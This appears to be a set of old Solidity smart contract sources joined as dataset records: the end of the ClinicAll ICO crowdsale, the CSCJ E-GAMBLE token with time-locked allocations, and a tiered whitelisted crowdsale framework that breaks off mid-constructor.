onlyOwner { require(_min != 0, "Minimal buy limit should not be 0."); require(_max != 0, "Maximal buy limit should not be 0."); require(_max > _min, "Maximal buy limit should be greater than minimal buy limit."); buyLimitSupplyMin = _min; buyLimitSupplyMax = _max; } function updateKycLimitEliminator(uint256 _value) public onlyOwner { require(_value != 0, "Kyc Eliminator should not be 0."); kycLimitEliminator = _value; } function claimRefund() public { require(isFinalized, "Claim refunds is only possible if the ICO is finalized."); require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached."); uint256 deposit = vault.depositsOf(msg.sender); vault.withdraw(msg.sender); weiRaised = weiRaised.sub(deposit); ClinicAllToken(token).burnAfterRefund(msg.sender); } function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner { require(isFinalized, "Claim refunds is only possible if the ICO is finalized."); require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached."); uint256 _weiRefunded; address[] memory _refundeesList; (_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength); weiRaised = weiRaised.sub(_weiRefunded); for (uint256 i = 0; i < _refundeesList.length; i++) { ClinicAllToken(token).burnAfterRefund(_refundeesList[i]); } } function refundeesListLength() public onlyOwner view returns (uint256) { return vault.refundeesListLength(); } function hasClosed() public view returns (bool) { return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply()); } function goalReached() public view returns (bool) { return token.totalSupply() >= softCapLimit; } function supplyRest() public view returns (uint256) { return (tokenSupplyLimit.sub(token.totalSupply())); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary), kycLimitEliminator) { super._processPurchase(_beneficiary, _tokenAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyIfWhitelisted(_beneficiary) isLimited(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit."); require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit."); require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit."); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { if (isDiscount()) { return _getTokensWithDiscount(_weiAmount); } return _weiAmount.mul(rate); } function getTokenAmount(uint256 _weiAmount) public view returns (uint256) { return _getTokenAmount(_weiAmount); } function _getTokensWithDiscount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokens = 0; uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply()); uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount); if (restOfDiscountTokens < discountTokensMax) { uint256 discountTokens = restOfDiscountTokens; uint256 _rate = _getDiscountRate(); uint256 _discointWeiAmount = discountTokens.div(_rate); uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount); uint256 normalTokens = _restOfWeiAmount.mul(rate); tokens = discountTokens.add(normalTokens); } else { tokens = discountTokensMax; } return tokens; } function _getDiscountTokenAmount(uint256 _weiAmount) internal view returns (uint256) { require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH."); uint256 _rate = _getDiscountRate(); return _weiAmount.mul(_rate); } function _getDiscountRate() internal view returns (uint256) { require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit."); return rate.add(rate.mul(discountTokenPercent).div(100)); } function getRate() public view returns (uint256) { if (isDiscount()) { return _getDiscountRate(); } return rate; } function isDiscount() public view returns (bool) { return (preSaleClosingTime >= block.timestamp); } function transferTokensToReserve(address _beneficiary) private { require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit."); uint256 _tokenCap = CappedToken(token).cap(); uint256 tokens = _tokenCap.sub(tokenSupplyLimit); _deliverTokens(_beneficiary, tokens); } function transferOn() public onlyOwner { ClinicAllToken(token).transferOn(); } function transferOff() public onlyOwner { ClinicAllToken(token).transferOff(); } function finalization() internal { if (goalReached()) { transferTokensToReserve(wallet); vault.close(); } else { vault.enableRefunds(); } MintableToken(token).finishMinting(); super.finalization(); } function _forwardFunds() internal { super._forwardFunds(); vault.depositFunds(msg.sender, msg.value); } modifier onlyPrivateSaleWallet() { require(privateSaleWallet == msg.sender, "Wallet should be the same as private sale wallet."); _; } function transferToPrivateInvestor( address _beneficiary, uint256 _value ) public onlyPrivateSaleWallet onlyIfWhitelisted(_beneficiary) returns (bool) { ClinicAllToken(token).transferToPrivateInvestor(msg.sender, _beneficiary, _value); } function redeemPrivateSaleFunds() public onlyPrivateSaleWallet { uint256 _balance = ClinicAllToken(token).balanceOf(msg.sender); privateSaleSupplyLimit = privateSaleSupplyLimit.sub(_balance); ClinicAllToken(token).burnPrivateSale(msg.sender, _balance); } function allocatePrivateSaleFunds(uint256 privateSaleSupplyAmount) public onlyOwner { require(privateSaleSupplyLimit.add(privateSaleSupplyAmount) < tokenSupplyLimit, "Token's private sale supply limit should be less that token supply limit."); privateSaleSupplyLimit = privateSaleSupplyLimit.add(privateSaleSupplyAmount); _deliverTokens(privateSaleWallet, privateSaleSupplyAmount); } function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner { vault.beneficiaryWithdrawChunk(_value); } function beneficiaryWithdrawAll() public onlyOwner { vault.beneficiaryWithdrawAll(); } function manualRefund(address _payee) public onlyOwner { uint256 deposit = vault.depositsOf(_payee); vault.manualRefund(_payee); weiRaised = weiRaised.sub(deposit); ClinicAllToken(token).burnAfterRefund(_payee); } }
0
1,107
pragma solidity ^0.4.11; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } } contract Token { function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC20Token is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract CSCJToken is ERC20Token, SafeMath { string public name = "CSCJ E-GAMBLE"; string public symbol = "CSCJ"; uint public decimals = 9; address public tokenIssuer = 0x0; uint public month6Unlock = 1554854400; uint public month12Unlock = 1570665600; uint public month24Unlock = 1602288000; uint public month36Unlock = 1633824000; uint public month48Unlock = 1665360000; uint public month9Unlock = 1562716800; uint public month18Unlock = 1586476800; uint public month27Unlock = 1610236800; uint public month45Unlock = 1657411200; bool public month6Allocated = false; bool public month12Allocated = false; bool public month24Allocated = false; bool public month36Allocated = false; bool public month48Allocated = false; bool public month9Allocated = false; bool public month18Allocated = false; bool public month27Allocated = false; bool public month36AllocatedDAPP = false; bool public month45Allocated = false; uint totalTokenSaled = 0; uint public totalTokensCrowdSale = 95000000 * 10**decimals; uint public totalTokensMAR = 28500000 * 10**decimals; uint public totalTokensDAPP = 28500000 * 10**decimals; uint public totalTokensReward = 38000000 * 10**decimals; event TokenMint(address newTokenHolder, uint amountOfTokens); event AllocateMARTokens(address indexed sender); event AllocateDAPPTokens(address indexed sender); function CSCJToken() { tokenIssuer = msg.sender; } function changeIssuer(address newIssuer) public { require(msg.sender==tokenIssuer); tokenIssuer = newIssuer; } function allocateMARTokens() public { require(msg.sender==tokenIssuer); uint tokens = 0; if(block.timestamp > month6Unlock && !month6Allocated) { month6Allocated = true; tokens = safeDiv(totalTokensMAR, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month12Unlock && !month12Allocated) { month12Allocated = true; tokens = safeDiv(totalTokensMAR, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month24Unlock && !month24Allocated) { month24Allocated = true; tokens = safeDiv(totalTokensMAR, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month36Unlock && !month36Allocated) { month36Allocated = true; tokens = safeDiv(totalTokensMAR, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month48Unlock && !month48Allocated) { month48Allocated = true; tokens = safeDiv(totalTokensMAR, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else revert(); AllocateMARTokens(msg.sender); } function allocateDAPPTokens() public { require(msg.sender==tokenIssuer); uint tokens = 0; if(block.timestamp > month9Unlock && !month9Allocated) { month9Allocated = true; tokens = safeDiv(totalTokensDAPP, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month18Unlock && !month18Allocated) { month18Allocated = true; tokens = safeDiv(totalTokensDAPP, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month27Unlock && !month27Allocated) { month27Allocated = true; tokens = safeDiv(totalTokensDAPP, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month36Unlock && !month36AllocatedDAPP) { month36AllocatedDAPP = true; tokens = safeDiv(totalTokensDAPP, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else if(block.timestamp > month45Unlock && !month45Allocated) { month45Allocated = true; tokens = safeDiv(totalTokensDAPP, 5); balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens); totalSupply = safeAdd(totalSupply, tokens); } else revert(); AllocateDAPPTokens(msg.sender); } function mintTokens(address tokenHolder, uint256 amountToken) public returns (bool success) { require(msg.sender==tokenIssuer); if(totalTokenSaled + amountToken <= totalTokensCrowdSale + totalTokensReward) { balances[tokenHolder] = safeAdd(balances[tokenHolder], amountToken); totalTokenSaled = safeAdd(totalTokenSaled, amountToken); totalSupply = safeAdd(totalSupply, amountToken); TokenMint(tokenHolder, amountToken); return true; } else { return false; } } }
0
848
pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is StandardToken { address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { throw; } if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { if(!canUpgrade()) { throw; } if (agent == 0x0) throw; if (msg.sender != upgradeMaster) throw; if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); if(!upgradeAgent.isUpgradeAgent()) throw; if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } function canUpgrade() public constant returns(bool) { return true; } } contract ReleasableToken is ERC20, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; uint public minCap; function CrowdsaleTokenExt(string _name, string _symbol, uint 